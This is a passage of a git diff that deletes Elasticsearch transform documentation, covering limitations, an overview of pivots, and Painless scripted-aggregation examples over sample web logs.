-            "dest_dc" : 2.0
-          },
-          "success" : 2,
-          "error404" : 0,
-          "error503" : 0,
-          "clientip" : "0.72.176.46",
-          "agent_dc" : 2.0,
-          "bytes_sum" : 4422.0,
-          "responses" : {
-            "total" : 2.0
-          },
-          "url_dc" : 2.0,
-          "timestamp" : {
-            "duration_ms" : 5.2191698E8,
-            "min" : "2020-03-16T07:51:57.333Z",
-            "max" : "2020-03-22T08:50:34.313Z"
-          }
-        }
-      }
-    ]
-----------------------------------
-// NOTCONSOLE
-
-NOTE: Like other Kibana sample data sets, the web log sample dataset contains
-timestamps relative to when you installed it, including timestamps in the 
-future. The {ctransform} will pick up the data points once they are in the past. 
-If you installed the web log sample dataset some time ago, you can uninstall and 
-reinstall it and the timestamps will change.
-
-
-This {transform} makes it easier to answer questions such as:
-
-* Which client IPs are transferring the most amounts of data?
-
-* Which client IPs are interacting with a high number of different URLs?
-
-* Which client IPs have high error rates?
-
-* Which client IPs are interacting with a high number of destination countries?
diff --git a/docs/reference/transform/images/ecommerce-pivot1.png b/docs/reference/transform/images/ecommerce-pivot1.png
deleted file mode 100644
index 951f9cc5592..00000000000
Binary files a/docs/reference/transform/images/ecommerce-pivot1.png and /dev/null differ
diff --git a/docs/reference/transform/images/ecommerce-pivot2.png b/docs/reference/transform/images/ecommerce-pivot2.png
deleted file mode 100644
index 5e583c25aea..00000000000
Binary files a/docs/reference/transform/images/ecommerce-pivot2.png and /dev/null differ
diff --git a/docs/reference/transform/images/ecommerce-results.png b/docs/reference/transform/images/ecommerce-results.png
deleted file mode 100644
index 450f4ddc976..00000000000
Binary files a/docs/reference/transform/images/ecommerce-results.png and /dev/null differ
diff --git a/docs/reference/transform/images/manage-transforms.png b/docs/reference/transform/images/manage-transforms.png
deleted file mode 100644
index f745fd3992e..00000000000
Binary files a/docs/reference/transform/images/manage-transforms.png and /dev/null differ
diff --git a/docs/reference/transform/images/pivot-preview.png b/docs/reference/transform/images/pivot-preview.png
deleted file mode 100644
index 6b6a78260a7..00000000000
Binary files a/docs/reference/transform/images/pivot-preview.png and /dev/null differ
diff --git a/docs/reference/transform/index.asciidoc b/docs/reference/transform/index.asciidoc
deleted file mode 100644
index 852715a5944..00000000000
--- a/docs/reference/transform/index.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-include::transforms.asciidoc[leveloffset=+1]
-include::overview.asciidoc[leveloffset=+2]
-include::setup.asciidoc[leveloffset=+2]
-include::usage.asciidoc[leveloffset=+2]
-include::transforms-at-scale.asciidoc[leveloffset=+2]
-include::checkpoints.asciidoc[leveloffset=+2]
-include::api-quickref.asciidoc[leveloffset=+2]
-include::ecommerce-tutorial.asciidoc[leveloffset=+2]
-include::examples.asciidoc[leveloffset=+2]
-include::painless-examples.asciidoc[leveloffset=+2]
-include::troubleshooting.asciidoc[leveloffset=+2]
-include::limitations.asciidoc[leveloffset=+2]
\ No newline at end of file
diff --git a/docs/reference/transform/limitations.asciidoc b/docs/reference/transform/limitations.asciidoc
deleted file mode 100644
index 4570a93c427..00000000000
--- a/docs/reference/transform/limitations.asciidoc
+++ /dev/null
@@ -1,257 +0,0 @@
-[role="xpack"]
-[[transform-limitations]]
-= {transform-cap} limitations
-[subs="attributes"]
-++++
-<titleabbrev>Limitations</titleabbrev>
-++++
-
-The following limitations and known problems apply to the {version} release of 
-the Elastic {transform} feature:
-
-[discrete]
-[[transform-ui-limitation]]
-== {transforms-cap} UI will not work during a rolling upgrade from 7.2
-
-If your cluster contains mixed version nodes, for example during a rolling 
-upgrade from 7.2 to a newer version, and {transforms} have been created in 7.2, 
-the {transforms} UI (earler {dataframe} UI) will not work. Please wait until all 
-nodes have been upgraded to the newer version before using the {transforms} UI.
-
-[discrete]
-[[transform-rolling-upgrade-limitation]]
-== {transforms-cap} reassignment suspended during a rolling upgrade from 7.2 and 7.3
-
-If your cluster contains mixed version nodes, for example during a rolling
-upgrade from 7.2 or 7.3 to a newer version, {transforms} whose nodes are stopped 
-will not be reassigned until the upgrade is complete. After the upgrade is done, 
-{transforms} resume automatically; no action is required.
-
-[discrete]
-[[transform-datatype-limitations]]
-== {dataframe-cap} data type limitation
-
-{dataframes-cap} do not (yet) support fields containing arrays – in the UI or 
-the API. If you try to create one, the UI will fail to show the source index 
-table.
-
-[discrete]
-[[transform-kibana-limitations]]
-== Up to 1,000 {transforms} are supported
-
-A single cluster will support up to 1,000 {transforms}. When using the 
-<<get-transform,GET {transforms} API>> a total `count` of {transforms} 
-is returned. Use the `size` and `from` parameters to enumerate through the full 
-list.
-
-[discrete]
-[[transform-aggresponse-limitations]]
-== Aggregation responses may be incompatible with destination index mappings
-
-When a {transform} is first started, it will deduce the mappings 
-required for the destination index. This process is based on the field types of 
-the source index and the aggregations used. If the fields are derived from 
-<<search-aggregations-metrics-scripted-metric-aggregation,`scripted_metrics`>>
-or <<search-aggregations-pipeline-bucket-script-aggregation,`bucket_scripts`>>, 
-<<dynamic-mapping,dynamic mappings>> will be used. In some instances the 
-deduced mappings may be incompatible with the actual data. For example, numeric 
-overflows might occur or dynamically mapped fields might contain both numbers 
-and strings. Please check {es} logs if you think this may have occurred. 
-
-You can view the deduced mappings by using the 
-https://www.elastic.co/guide/en/elasticsearch/reference/current/preview-transform.html[Preview transform API].
-See the `generated_dest_index` object in the API response.
-
-If it's required, you may define custom mappings prior to starting the 
-{transform} by creating a custom destination index using the 
-https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-create-index.html[Create index API].
-As deduced mappings cannot be overwritten by an index template, use the Create 
-index API to define custom mappings. The index templates only apply to fields 
-derived from scripts that use dynamic mappings. 
-
-[discrete]
-[[transform-batch-limitations]]
-== Batch {transforms} may not account for changed documents
-
-A batch {transform} uses a 
-<<search-aggregations-bucket-composite-aggregation,composite aggregation>>
-which allows efficient pagination through all buckets. Composite aggregations 
-do not yet support a search context, therefore if the source data is changed 
-(deleted, updated, added) while the batch {dataframe} is in progress, then the 
-results may not include these changes.
-
-[discrete]
-[[transform-consistency-limitations]]
-== {ctransform-cap} consistency does not account for deleted or updated documents
-
-While the process for {transforms} allows the continual recalculation of the 
-{transform} as new data is being ingested, it does also have some limitations.
-
-Changed entities will only be identified if their time field has also been 
-updated and falls within the range of the action to check for changes. This has 
-been designed in principle for, and is suited to, the use case where new data is 
-given a timestamp for the time of ingest. 
-
-If the indices that fall within the scope of the source index pattern are 
-removed, for example when deleting historical time-based indices, then the 
-composite aggregation performed in consecutive checkpoint processing will search 
-over different source data, and entities that only existed in the deleted index 
-will not be removed from the {dataframe} destination index.
-
-Depending on your use case, you may wish to recreate the {transform} entirely 
-after deletions. Alternatively, if your use case is tolerant to historical 
-archiving, you may wish to include a max ingest timestamp in your aggregation. 
-This will allow you to exclude results that have not been recently updated when 
-viewing the destination index.
-
-[discrete]
-[[transform-deletion-limitations]]
-== Deleting a {transform} does not delete the destination index or {kib} index pattern
-
-When deleting a {transform} using `DELETE _transform/index` 
-neither the destination index nor the {kib} index pattern, should one have been 
-created, are deleted. These objects must be deleted separately.
-
-[discrete]
-[[transform-aggregation-page-limitations]]
-== Handling dynamic adjustment of aggregation page size
-
-During the development of {transforms}, control was favoured over performance. 
-In the design considerations, it is preferred for the {transform} to take longer 
-to complete quietly in the background rather than to finish quickly and take 
-precedence in resource consumption.
-
-Composite aggregations are well suited for high cardinality data enabling 
-pagination through results. If a <<circuit-breaker,circuit breaker>> memory
-exception occurs when performing the composite aggregated search then we try
-again reducing the number of buckets requested. This circuit breaker is
-calculated based upon all activity within the cluster, not just activity from 
-{transforms}, so it therefore may only be a temporary resource 
-availability issue.
-
-For a batch {transform}, the number of buckets requested is only ever adjusted 
-downwards. The lowering of value may result in a longer duration for the 
-{transform} checkpoint to complete. For {ctransforms}, the number of buckets 
-requested is reset back to its default at the start of every checkpoint and it 
-is possible for circuit breaker exceptions to occur repeatedly in the {es} logs. 
-
-The {transform} retrieves data in batches which means it calculates several 
-buckets at once. Per default this is 500 buckets per search/index operation. The 
-default can be changed using `max_page_search_size` and the minimum value is 10. 
-If failures still occur once the number of buckets requested has been reduced to 
-its minimum, then the {transform} will be set to a failed state.
-
-[discrete]
-[[transform-dynamic-adjustments-limitations]]
-== Handling dynamic adjustments for many terms
-
-For each checkpoint, entities are identified that have changed since the last 
-time the check was performed. This list of changed entities is supplied as a 
-<<query-dsl-terms-query,terms query>> to the {transform} composite aggregation,
-one page at a time. Then updates are applied to the destination index for each
-page of entities.
-
-The page `size` is defined by `max_page_search_size` which is also used to 
-define the number of buckets returned by the composite aggregation search. The 
-default value is 500, the minimum is 10.
-
-The index setting <<dynamic-index-settings,`index.max_terms_count`>> defines 
-the maximum number of terms that can be used in a terms query. The default value 
-is 65536. If `max_page_search_size` exceeds `index.max_terms_count` the 
-{transform} will fail. 
-
-Using smaller values for `max_page_search_size` may result in a longer duration 
-for the {transform} checkpoint to complete.
-
-[discrete]
-[[transform-scheduling-limitations]]
-== {ctransform-cap} scheduling limitations
-
-A {ctransform} periodically checks for changes to source data. The functionality
-of the scheduler is currently limited to a basic periodic timer which can be 
-within the `frequency` range from 1s to 1h. The default is 1m. This is designed 
-to run little and often. When choosing a `frequency` for this timer consider 
-your ingest rate along with the impact that the {transform} 
-search/index operations has other users in your cluster. Also note that retries 
-occur at `frequency` interval.
-
-[discrete]
-[[transform-failed-limitations]]
-== Handling of failed {transforms}
-
-Failed {transforms} remain as a persistent task and should be handled 
-appropriately, either by deleting it or by resolving the root cause of the 
-failure and re-starting.
-
-When using the API to delete a failed {transform}, first stop it using 
-`_stop?force=true`, then delete it.
-
-[discrete]
-[[transform-availability-limitations]]
-== {ctransforms-cap} may give incorrect results if documents are not yet available to search
-
-After a document is indexed, there is a very small delay until it is available 
-to search.
-
-A {ctransform} periodically checks for changed entities between the time since 
-it last checked and `now` minus `sync.time.delay`. This time window moves 
-without overlapping. If the timestamp of a recently indexed document falls 
-within this time window but this document is not yet available to search then 
-this entity will not be updated.
-
-If using a `sync.time.field` that represents the data ingest time and using a 
-zero second or very small `sync.time.delay`, then it is more likely that this 
-issue will occur.
-
-[discrete]
-[[transform-date-nanos]]
-== Support for date nanoseconds data type
-
-If your data uses the <<date_nanos,date nanosecond data type>>, aggregations
-are nonetheless on millisecond resolution. This limitation also affects the
-aggregations in your {transforms}.
-
-
-[discrete]
-[[transform-data-streams-destination]]
-== Data streams as destination indices are not supported
-
-{transforms-cap} update data in the destination index which requires writing 
-into the destination. <<data-streams>> are designed to be append-only, which 
-means you cannot send update or delete requests directly to a data stream. For 
-this reason, data streams are not supported as destination indices for 
-{transforms}.
-
-
-[discrete]
-[[transform-ilm-destination]]
-== ILM as destination index may cause duplicated documents
-
-<<index-lifecycle-management,ILM>> is not recommended to use as a {transform} 
-destination index. {transforms-cap} update documents in the current destination, 
-and cannot delete documents in the indices previously used by ILM. This may lead 
-to duplicated documents when you use {transforms} combined with ILM in case of a 
-rollover.
-
-If you use ILM to have time-based indices, please consider using the 
-<<date-index-name-processor>> instead. The processor works without duplicated 
-documents if your {transform} contains a `group_by` based on `date_histogram`.
-
-
-[discrete]
-[[transform-painless-imitation]]
-== Using scripts in {transforms}
-
-{transforms-cap} support scripting in every case when aggregations support them. 
-However, there are certain factors you might want to consider when using scripts 
-in {transforms}:
-
-* {transforms-cap} cannot deduce index mappings for output fields when the 
-  fields are created by a script. In this case, you might want to create the 
-  mappings of the destination index yourself prior to creating the transform.
-
-* Scripted fields may increase the runtime of the {transform}.
-  
-* {transforms-cap} cannot optimize queries when you use scripts for all the 
-  groupings defined in `group_by`, you will receive a warning message when you 
-  use scripts this way.
\ No newline at end of file
diff --git a/docs/reference/transform/overview.asciidoc b/docs/reference/transform/overview.asciidoc
deleted file mode 100644
index 5a22b64ddda..00000000000
--- a/docs/reference/transform/overview.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
-[role="xpack"]
-[[transform-overview]]
-= {transform-cap} overview
-++++
-<titleabbrev>Overview</titleabbrev>
-++++
-
-You can use {transforms} to _pivot_ your data into a new entity-centric index. 
-By transforming and summarizing your data, it becomes possible to visualize and 
-analyze it in alternative and interesting ways.
-
-A lot of {es} indices are organized as a stream of events: each event is an 
-individual document, for example a single item purchase. {transforms-cap} enable
-you to summarize this data, bringing it into an organized, more
-analysis-friendly format. For example, you can summarize all the purchases of a
-single customer.
-
-{transforms-cap} enable you to define a pivot, which is a set of
-features that transform the index into a different, more digestible format.
-Pivoting results in a summary of your data in a new index.
-
-To define a pivot, first you select one or more fields that you will use to
-group your data. You can select categorical fields (terms) and numerical fields
-for grouping. If you use numerical fields, the field values are bucketed using
-an interval that you specify.
-
-The second step is deciding how you want to aggregate the grouped data. When 
-using aggregations, you practically ask questions about the index. There are 
-different types of aggregations, each with its own purpose and output. To learn 
-more about the supported aggregations and group-by fields, see 
-<<put-transform>>.
-
-As an optional step, you can also add a query to further limit the scope of the
-aggregation.
-
-The {transform} performs a composite aggregation that paginates through all the 
-data defined by the source index query. The output of the aggregation is stored 
-in a _destination index_. Each time the {transform} queries the source index, it 
-creates a _checkpoint_. You can decide whether you want the {transform} to run 
-once or continuously. A _batch {transform}_ is a single operation that has a
-single checkpoint. _{ctransforms-cap}_ continually increment and process
-checkpoints as new source data is ingested.
-
-Imagine that you run a webshop that sells clothes. Every order creates a 
-document that contains a unique order ID, the name and the category of the 
-ordered product, its price, the ordered quantity, the exact date of the order, 
-and some customer information (name, gender, location, etc). Your dataset 
-contains all the transactions from last year.
-
-If you want to check the sales in the different categories in your last fiscal
-year, define a {transform} that groups the data by the product categories 
-(women's shoes, men's clothing, etc.) and the order date. Use the last year as 
-the interval for the order date. Then add a sum aggregation on the ordered 
-quantity. The result is an entity-centric index that shows the number of sold
-items in every product category in the last year.
-
-[role="screenshot"]
-image::images/pivot-preview.png["Example of a {transform} pivot in {kib}"]
-
-IMPORTANT: The {transform} leaves your source index intact. It
-creates a new index that is dedicated to the transformed data.
-
-[discrete]
-[[transform-performance]]
-== Performance considerations
-
-{transforms-cap} perform search aggregations on the source indices then index
-the results into the destination index. Therefore, a {transform} never takes
-less time or uses less resources than the aggregation and indexing processes. 
-
-If your {transform} must process a lot of historic data, it has high resource
-usage initially--particularly during the first checkpoint.
-
-For better performance, make sure that your search aggregations and queries are 
-optimized and that your {transform} is processing only necessary data. Consider 
-whether you can apply a source query to the {transform} to reduce the scope of 
-data it processes. Also consider whether the cluster has sufficient resources in 
-place to support both the composite aggregation search and the indexing of its
-results.
-
-If you prefer to spread out the impact on your cluster (at the cost of a slower
-{transform}), you can throttle the rate at which it performs search and index
-requests. Set the `docs_per_second` limit when you <<put-transform,create>> or
-<<update-transform,update>> your {transform}. If you want to calculate the
-current rate, use the following information from the
-{ref}/get-transform-stats.html[get {transform} stats API]:
-```
-documents_processed / search_time_in_ms * 1000
-```
-
diff --git a/docs/reference/transform/painless-examples.asciidoc b/docs/reference/transform/painless-examples.asciidoc
deleted file mode 100644
index b76740fd5c2..00000000000
--- a/docs/reference/transform/painless-examples.asciidoc
+++ /dev/null
@@ -1,676 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[transform-painless-examples]]
-= Painless examples for {transforms}
-++++
-<titleabbrev>Painless examples</titleabbrev>
-++++
-
-These examples demonstrate how to use Painless in {transforms}. You can learn 
-more about the Painless scripting language in the 
-{painless}/painless-guide.html[Painless guide].
-
-* <<painless-top-hits>>
-* <<painless-time-features>>
-* <<painless-group-by>>
-* <<painless-bucket-script>>
-* <<painless-count-http>>
-* <<painless-compare>>
-* <<painless-web-session>>
-
-[NOTE] 
---
-* While the context of the following examples is the {transform} use case, 
-the Painless scripts in the snippets below can be used in other {es} search 
-aggregations, too.
-* All the following examples use scripts, {transforms} cannot deduce mappings of 
-output fields when the fields are created by a script. {transforms-cap} don't 
-create any mappings in the destination index for these fields, which means they 
-get dynamically mapped. Create the destination index prior to starting the 
-{transform} in case you want explicit mappings.
---
-
-[[painless-top-hits]]
-== Getting top hits by using scripted metric aggregation
-
-This snippet shows how to find the latest document, in other words the document 
-with the latest timestamp. From a technical perspective, it helps to achieve 
-the function of a <<search-aggregations-metrics-top-hits-aggregation>> by using 
-scripted metric aggregation in a {transform}, which provides a metric output.
-
-[source,js]
---------------------------------------------------
-"aggregations": {
-  "latest_doc": { 
-    "scripted_metric": {
-      "init_script": "state.timestamp_latest = 0L; state.last_doc = ''", <1>
-      "map_script": """ <2>
-        def current_date = doc['@timestamp'].getValue().toInstant().toEpochMilli(); 
-        if (current_date > state.timestamp_latest) 
-        {state.timestamp_latest = current_date;
-        state.last_doc = new HashMap(params['_source']);}
-      """,
-      "combine_script": "return state", <3>
-      "reduce_script": """ <4>
-        def last_doc = '';
-        def timestamp_latest = 0L;
-        for (s in states) {if (s.timestamp_latest > (timestamp_latest))
-        {timestamp_latest = s.timestamp_latest; last_doc = s.last_doc;}} 
-        return last_doc
-      """
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> The `init_script` creates a long type `timestamp_latest` and a string type 
-`last_doc` in the `state` object.
-<2> The `map_script` defines `current_date` based on the timestamp of the 
-document, then compares `current_date` with `state.timestamp_latest`, finally 
-returns `state.last_doc` from the shard. By using `new HashMap(...)` you copy 
-the source document, this is important whenever you want to pass the full source 
-object from one phase to the next.
-<3> The `combine_script` returns `state` from each shard.
-<4> The `reduce_script` iterates through the value of `s.timestamp_latest` 
-returned by each shard and returns the document with the latest timestamp 
-(`last_doc`). In the response, the top hit (in other words, the `latest_doc`) is 
-nested below the `latest_doc` field.
-
-Check the
-<<scripted-metric-aggregation-scope,scope of scripts>>
-for detailed explanation on the respective scripts.
-
-You can retrieve the last value in a similar way: 
-
-[source,js]
---------------------------------------------------
-"aggregations": {
-  "latest_value": {
-    "scripted_metric": {
-      "init_script": "state.timestamp_latest = 0L; state.last_value = ''",
-      "map_script": """
-        def current_date = doc['@timestamp'].getValue().toInstant().toEpochMilli(); 
-        if (current_date > state.timestamp_latest) 
-        {state.timestamp_latest = current_date;
-        state.last_value = params['_source']['value'];}
-      """,
-      "combine_script": "return state",
-      "reduce_script": """
-        def last_value = '';
-        def timestamp_latest = 0L; 
-        for (s in states) {if (s.timestamp_latest > (timestamp_latest)) 
-        {timestamp_latest = s.timestamp_latest; last_value = s.last_value;}} 
-        return last_value
-      """
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[painless-time-features]]
-== Getting time features by using aggregations
-
-This snippet shows how to extract time based features by using Painless in a 
-{transform}. The snippet uses an index where `@timestamp` is defined as a `date` 
-type field.
-
-[source,js]
---------------------------------------------------
-"aggregations": {
-  "avg_hour_of_day": { <1>
-    "avg":{
-      "script": { <2>
-        "source": """
-          ZonedDateTime date =  doc['@timestamp'].value; <3>
-          return date.getHour(); <4>
-        """
-      }
-    }  
-  },
-  "avg_month_of_year": { <5>
-    "avg":{
-      "script": { <6> 
-        "source": """
-          ZonedDateTime date =  doc['@timestamp'].value; <7>
-          return date.getMonthValue(); <8>
-        """
-      }
-    }
-  },
- ...
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> Name of the aggregation.
-<2> Contains the Painless script that returns the hour of the day.
-<3> Sets `date` based on the timestamp of the document.
-<4> Returns the hour value from `date`.
-<5> Name of the aggregation.
-<6> Contains the Painless script that returns the month of the year.
-<7> Sets `date` based on the timestamp of the document.
-<8> Returns the month value from `date`.
-
-
-[[painless-group-by]]
-== Using Painless in `group_by`
-
-It is possible to base the `group_by` property of a {transform} on the output of 
-a script. The following example uses the {kib} sample web logs dataset. The goal 
-here is to make the {transform} output easier to understand through normalizing 
-the value of the fields that the data is grouped by.
-
-[source,console]
---------------------------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": [ <1>
-      "kibana_sample_data_logs"
-    ]
-  },
-  "pivot": {
-    "group_by": {
-      "agent": {
-        "terms": {
-          "script": { <2>
-            "source": """String agent = doc['agent.keyword'].value; 
-            if (agent.contains("MSIE")) { 
-              return "internet explorer";
-            } else if (agent.contains("AppleWebKit")) { 
-              return "safari"; 
-            } else if (agent.contains('Firefox')) { 
-              return "firefox";
-            } else { return agent }""",
-            "lang": "painless"
-          }
-        }
-      }
-    },
-    "aggregations": { <3>
-      "all": {
-        "value_count": {
-          "field": "response.keyword"
-        }
-      },
-      "200": {
-        "filter": {
-          "term": {
-            "response": "200"
-          }
-        }
-      },
-      "404": {
-        "filter": {
-          "term": {
-            "response": "404"
-          }
-        }
-      },
-      "503": {
-        "filter": {
-          "term": {
-            "response": "503"
-          }
-        }
-      }
-    }
-  },
-  "dest": { <4>
-    "index": "pivot_logs"
-  }
-} 
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> Specifies the source index or indices.
-<2> The script defines an `agent` string based on the `agent` field of the 
-documents, then iterates through the values. If an `agent` field contains 
-"MSIE", than the script returns "Internet Explorer". If it contains 
-`AppleWebKit`, it returns "safari". It returns "firefox" if the field value 
-contains "Firefox". Finally, in every other case, the value of the field is 
-returned.
-<3> The aggregations object contains filters that narrow down the results to 
-documents that contains `200`, `404`, or `503` values in the `response` field 
-and an aggregation that counts responses for each agent.
-<4> Specifies the destination index of the {transform}.
-
-The API returns the following result:
-
-[source,js]
---------------------------------------------------
-{
-  "preview" : [
-    {
-      "all" : 4010,
-      "agent" : "explorer",
-      "200" : 3674,
-      "404" : 210,
-      "503" : 126
-    },
-    {
-      "all" : 5362,
-      "agent" : "firefox",
-      "200" : 4931,
-      "404" : 259,
-      "503" : 172
-    },
-    {
-      "all" : 4702,
-      "agent" : "safari",
-      "200" : 4227,
-      "404" : 332,
-      "503" : 143
-    }
-  ],
-  "generated_dest_index" : {
-    "mappings" : {
-      "_meta" : {
-        "_transform" : {
-          "transform" : "transform-preview",
-          "version" : {
-            "created" : "7.10.0"
-          },
-          "creation_date_in_millis" : 1610454866455
-        },
-        "created_by" : "transform"
-      },
-      "properties" : {
-        "all" : {
-          "type" : "long"
-        },
-        "200" : {
-          "type" : "long"
-        },
-        "404" : {
-          "type" : "long"
-        },
-        "503" : {
-          "type" : "long"
-        }
-      }
-    },
-    "settings" : {
-      "index" : {
-        "number_of_shards" : "1",
-        "auto_expand_replicas" : "0-1"
-      }
-    },
-    "aliases" : { }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-You can see that the `agent` values are simplified so it is easier to interpret 
-them. The table below shows how normalization modifies the output of the 
-{transform} in our example compared to the non-normalized values.
-
-[width="50%"]
-
-|===
-| Non-normalized `agent` value                                                 | Normalized `agent` value 
-
-| "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" | "internet explorer"
-| "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.50 Safari/534.24" | "safari"
-| "Mozilla/5.0 (X11; Linux x86_64; rv:6.0a1) Gecko/20110421 Firefox/6.0a1" | "firefox"
-|===
-
-
-[[painless-bucket-script]]
-== Getting duration by using bucket script
-
-This example shows you how to get the duration of a session by client IP from a 
-data log by using 
-<<search-aggregations-pipeline-bucket-script-aggregation,bucket script>>. 
-The example uses the {kib} sample web logs dataset.
-
-[source,console]
---------------------------------------------------
-PUT _transform/data_log
-{
-  "source": {
-    "index": "kibana_sample_data_logs"
-  },
-  "dest": {
-    "index": "data-logs-by-client"
-  },
-  "pivot": {
-    "group_by": {
-      "machine.os": {"terms": {"field": "machine.os.keyword"}},
-      "machine.ip": {"terms": {"field": "clientip"}}
-    },
-    "aggregations": {
-      "time_frame.lte": {
-        "max": {
-          "field": "timestamp"
-        }
-      },
-      "time_frame.gte": {
-        "min": {
-          "field": "timestamp"
-        }
-      },
-      "time_length": { <1>
-        "bucket_script": {
-          "buckets_path": { <2>
-            "min": "time_frame.gte.value",
-            "max": "time_frame.lte.value"
-          },
-          "script": "params.max - params.min" <3>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> To define the length of the sessions, we use a bucket script.
-<2> The bucket path is a map of script variables and their associated path to 
-the buckets you want to use for the variable. In this particular case, `min` and 
-`max` are variables mapped to `time_frame.gte.value` and `time_frame.lte.value`.
-<3> Finally, the script substracts the start date of the session from the end 
-date which results in the duration of the session.
-
-[[painless-count-http]]
-== Counting HTTP responses by using scripted metric aggregation
-
-You can count the different HTTP response types in a web log data set by using 
-scripted metric aggregation as part of the {transform}. You can achieve a similar 
-function with filter aggregations, check the 
-{ref}/transform-examples.html#example-clientips[Finding suspicious client IPs] 
-example for details.
-
-The example below assumes that the HTTP response codes are stored as keywords in 
-the `response` field of the documents.
-
-[source,js]
---------------------------------------------------
-"aggregations": { <1>
-  "responses.counts": { <2>
-    "scripted_metric": { <3>
-      "init_script": "state.responses = ['error':0L,'success':0L,'other':0L]", <4>
-      "map_script": """ <5>
-        def code = doc['response.keyword'].value;
-        if (code.startsWith('5') || code.startsWith('4')) {
-          state.responses.error += 1 ;
-        } else if(code.startsWith('2')) {
-          state.responses.success += 1;
-        } else {
-          state.responses.other += 1;
-        }
-        """,
-      "combine_script": "state.responses", <6>
-      "reduce_script": """ <7>
-        def counts = ['error': 0L, 'success': 0L, 'other': 0L];
-        for (responses in states) {
-          counts.error += responses['error'];
-          counts.success += responses['success'];
-          counts.other += responses['other'];
-        }
-        return counts;
-        """
-      }
-    },
-  ...  
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> The `aggregations` object of the {transform} that contains all aggregations.
-<2> Object of the `scripted_metric` aggregation.
-<3> This `scripted_metric` performs a distributed operation on the web log data 
-to count specific types of HTTP responses (error, success, and other).
-<4> The `init_script` creates a `responses` array in the `state` object with 
-three properties (`error`, `success`, `other`) with long data type.
-<5> The `map_script` defines `code` based on the `response.keyword` value of the 
-document, then it counts the errors, successes, and other responses based on the 
-first digit of the responses.
-<6> The `combine_script` returns `state.responses` from each shard.
-<7> The `reduce_script` creates a `counts` array with the `error`, `success`, 
-and `other` properties, then iterates through the value of `responses` returned 
-by each shard and assigns the different response types to the appropriate 
-properties of the `counts` object; error responses to the error counts, success 
-responses to the success counts, and other responses to the other counts. 
-Finally, returns the `counts` array with the response counts.
-
-[[painless-compare]]
-== Comparing indices by using scripted metric aggregations
-
-This example shows how to compare the content of two indices by a {transform} 
-that uses a scripted metric aggregation. 
-
-[source,console]
---------------------------------------------------
-POST _transform/_preview
-{
-  "id" : "index_compare",
-  "source" : { <1>
-    "index" : [
-      "index1",
-      "index2"
-    ],
-    "query" : {
-      "match_all" : { }
-    }
-  },
-  "dest" : { <2>
-    "index" : "compare"
-  },
-  "pivot" : {
-    "group_by" : {
-      "unique-id" : {
-        "terms" : {
-          "field" : "<unique-id-field>" <3>
-        }
-      }
-    },
-    "aggregations" : {
-      "compare" : { <4>
-        "scripted_metric" : {
-          "map_script" : "state.doc = new HashMap(params['_source'])", <5>
-          "combine_script" : "return state", <6>
-          "reduce_script" : """ <7>
-            if (states.size() != 2) {
-              return "count_mismatch"
-            }
-            if (states.get(0).equals(states.get(1))) {
-              return "match"
-            } else {
-              return "mismatch"
-            }
-            """
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> The indices referenced in the `source` object are compared to each other.
-<2> The `dest` index contains the results of the comparison.
-<3> The `group_by` field needs to be a unique identifier for each document.
-<4> Object of the `scripted_metric` aggregation.
-<5> The `map_script` defines `doc` in the state object. By using 
-`new HashMap(...)` you copy the source document, this is important whenever you 
-want to pass the full source object from one phase to the next.
-<6> The `combine_script` returns `state` from each shard.
-<7> The `reduce_script` checks if the size of the indices are equal. If they are 
-not equal, than it reports back a `count_mismatch`. Then it iterates through all 
-the values of the two indices and compare them. If the values are equal, then it 
-returns a `match`, otherwise returns a `mismatch`.
-
-[[painless-web-session]]
-== Getting web session details by using scripted metric aggregation
-
-This example shows how to derive multiple features from a single transaction. 
-Let's take a look on the example source document from the data:
-
-.Source document
-[%collapsible%open]
-=====
-[source,js]
---------------------------------------------------
-{
-  "_index":"apache-sessions",
-  "_type":"_doc",
-  "_id":"KvzSeGoB4bgw0KGbE3wP",
-  "_score":1.0,
-  "_source":{
-    "@timestamp":1484053499256,
-    "apache":{
-      "access":{
-        "sessionid":"571604f2b2b0c7b346dc685eeb0e2306774a63c2",
-        "url":"http://www.leroymerlin.fr/v3/search/search.do?keyword=Carrelage%20salle%20de%20bain",
-        "path":"/v3/search/search.do",
-        "query":"keyword=Carrelage%20salle%20de%20bain",
-        "referrer":"http://www.leroymerlin.fr/v3/p/produits/carrelage-parquet-sol-souple/carrelage-sol-et-mur/decor-listel-et-accessoires-carrelage-mural-l1308217717?resultOffset=0&resultLimit=51&resultListShape=MOSAIC&priceStyle=SALEUNIT_PRICE",
-        "user_agent":{
-          "original":"Mobile Safari 10.0 Mac OS X (iPad) Apple Inc.",
-          "os_name":"Mac OS X (iPad)"
-        },
-        "remote_ip":"0337b1fa-5ed4-af81-9ef4-0ec53be0f45d",
-        "geoip":{
-          "country_iso_code":"FR",
-          "location":{
-            "lat":48.86,
-            "lon":2.35
-          }
-        },
-        "response_code":200,
-        "method":"GET"
-      }
-    }
-  }
-}
-...
---------------------------------------------------
-// NOTCONSOLE
-=====
-
-
-By using the `sessionid` as a group-by field, you are able to enumerate events 
-through the session and get more details of the session by using scripted metric 
-aggregation.
-
-[source,js]
---------------------------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": "apache-sessions"
-  },
-  "pivot": {
-    "group_by": {
-      "sessionid": { <1>
-        "terms": {
-          "field": "apache.access.sessionid"
-        }
-      }
-    },
-    "aggregations": { <2>
-      "distinct_paths": { 
-        "cardinality": {
-          "field": "apache.access.path"
-        }
-      },
-      "num_pages_viewed": {
-        "value_count": {
-          "field": "apache.access.url"
